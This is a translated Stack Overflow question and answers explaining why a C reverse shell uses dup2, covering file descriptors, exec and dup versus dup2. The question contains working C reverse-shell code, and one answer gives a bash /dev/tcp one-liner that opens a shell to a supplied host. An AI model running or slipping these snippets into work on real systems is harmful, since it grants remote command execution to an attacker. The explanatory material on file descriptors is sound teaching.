【问题标题】:Why is dup2 necessary in this C reverse shell code?为什么在这个 C 反向 shell 代码中需要 dup2?
【发布时间】:2021-12-12 02:15:31
【问题描述】:

我遇到了这个用 c 编写的反向 shell 代码。

main(){
    int sock = socket(AF_INET, SOCK_STREAM, 0);

    struct sockaddr_in sock_addr;
    sock_addr.sin_family = AF_INET;
    sock_addr.sin_port = htons(8080);
    sock_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
    connect(sock, (struct sockaddr *)&sock_addr, sizeof(struct sockaddr_in));   

    dup2(sock, STDIN_FILENO);
    dup2(sock, STDOUT_FILENO);
    dup2(sock, STDERR_FILENO);
    execl("/bin/sh", NULL);
}

我想了解它,所以我向自己介绍了文件描述符,因为使用了 dup2。现在的问题是我不明白为什么。

socket 的手册页让我假设,stdin、stdout 和 stderr 正在被 socket 取代。

[...] 成功调用返回的文件描述符将是编号最小的文件 该进程当前未打开描述符。

这个假设是真的吗?如果是,为什么要重置默认流?是因为下面的 execl("/bin/sh", NULL) 行,正如this 线程所暗示的那样?

【问题讨论】:

  • 引用适用于dup(),而不是dup2()。代码中有一个错误——它应该有 close(sock);if (sock > STDERR_FILENO) close(sock); 以便关闭套接字文件描述符——即使标准 I/O 文件描述符上有文件描述符的副本。
  • 您将标准 I/O 描述符重置为套接字,这样如果有另一个进程打开了套接字,则该进程可以写入套接字并影响 shell 的标准输入,并且该进程可以从套接字读取以查看 shell 生成的标准输出和标准错误(这两个流将在某种程度上任意交错)。

标签: c sockets file-descriptor reverse-shell


【解决方案1】:

使用 bash 的最简单方法

# $1 ip address
# $2 remote port 
/bin/bash -i >& /dev/tcp/$1/$2 0>&1

【讨论】:

    【解决方案2】:

    文件描述符

    每个文件、套接字、管道等...在您的进程中都由一个称为文件描述符的数字唯一标识。
    如果您创建一个新的文件描述符,您将获得进程中最低的未使用文件描述符编号,从 0 开始。

    每个文件的前 3 个文件描述符都有特殊的作用:

    FD C Constant
    0 STDIN_FILENO
    1 STDOUT_FILENO
    2 STDERR_FILENO

    如果您愿意,您可以随时通过查询/proc 查看文件描述符(以及它们所指的内容),例如:

    ls -l /proc/<pid of your process>/fd
    

    execve 及其朋友

    execve 用参数指定的新进程替换当前进程。
    您的进程打开的所有文件描述符将保持打开状态¹,新进程可以使用它们。

    ¹ 标记为 close-on-exec

    的除外

    你的程序做什么

    在您的程序启动后,您的文件描述符可能如下所示:

    0 -> /dev/pts/1
    1 -> /dev/pts/1
    2 -> /dev/pts/1
    

    (只是普通的标准输入、标准输出、标准错误,连接到普通终端)

    之后你分配一个套接字: int sock = socket(AF_INET, SOCK_STREAM, 0);

    0 -> /dev/pts/1
    1 -> /dev/pts/1
    2 -> /dev/pts/1
    3 -> [socket:12345]
    

    然后您连接套接字并进入 dup2 的。 dup2 克隆一个文件描述符 - 与 dup 不同 - 为其分配一个 特定 文件描述符编号(如果该 fd 已在使用中,它将首先关闭)

    所以在dup2(sock, STDIN_FILENO); 之后,您的 fd 将如下所示:

    0 -> [socket:12345]
    1 -> /dev/pts/1
    2 -> /dev/pts/1
    3 -> [socket:12345]
    

    所以在execl 之前,fd 将是:

    0 -> [socket:12345]
    1 -> [socket:12345]
    2 -> [socket:12345]
    3 -> [socket:12345]
    

    然后你的进程执行到/bin/sh,用shell替换当前进程。

    所以现在你有一个shell,它的输入和输出连接到你创建的套接字,有效地允许套接字另一端的程序发送任意shell命令,这些命令将由/bin/sh执行并返回输出通过套接字。

    正如@JonathanLeffler 在 cmets 中指出的那样,fd 3 可以在 exec 之前关闭,因为它不是必需的。

    为什么不用dup 而不是dup2

    使用dup,就像您引用的那样,将为您提供进程中可用的最低可用 fd。

    所以可以做到以下几点:

    close(STDIN_FILENO);
    close(STDOUT_FILENO);
    close(STDERR_FILENO);
    dup(sock);
    dup(sock);
    dup(sock);
    

    关闭将关闭 fd 0-2:

    3 -> [socket:12345]
    

    并且 dup 会将 fd 3 复制到 0-2(你总是得到最低的可用数字,即使那些是标准输入、标准输出或标准错误)

    0 -> [socket:12345]
    1 -> [socket:12345]
    2 -> [socket:12345]
    3 -> [socket:12345]
    

    但是,如果您有其他线程正在创建 fd,这可能会出错(例如,另一个线程可能只是在您关闭 stdin 后创建一个新 fd,因此它得到 fd 0,而您的 dup() 稍后会得到 4 )。

    这就是dup2() 的意义所在:精确分配特定的 fd(在本例中为 stdin、stdout、stderr)。

    dup2() 系统调用执行与 dup() 相同的任务,但 而不是使用编号最小的未使用文件描述符,它 使用 newfd 中指定的文件描述符编号。其他 换句话说,文件描述符 newfd 被调整为现在 指与oldfd相同的打开文件描述。

    还有dup3,除了dup2 可以做的以外,还允许您指定标志,例如O_CLOEXEC,执行时会自动关闭fd。

    【讨论】:

    • 老兄,我非常感谢你的回答。这是一些摩根弗里曼出现并解释情节的东西。非常感谢。
    • 请注意,带有选项F_DUPFDF_DUPFD_CLOEXEC 的POSIX fcntl() 函数也会复制文件描述符,与dup()dup2() 的语义略有不同。 F_DUPFD_CLOEXECdup3() 的 POSIX 答案。
    猜你喜欢
    • 1970-01-01
    • 2015-01-01
    • 1970-01-01
    • 2017-05-22
    • 1970-01-01
    • 1970-01-01
    • 2021-03-03
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多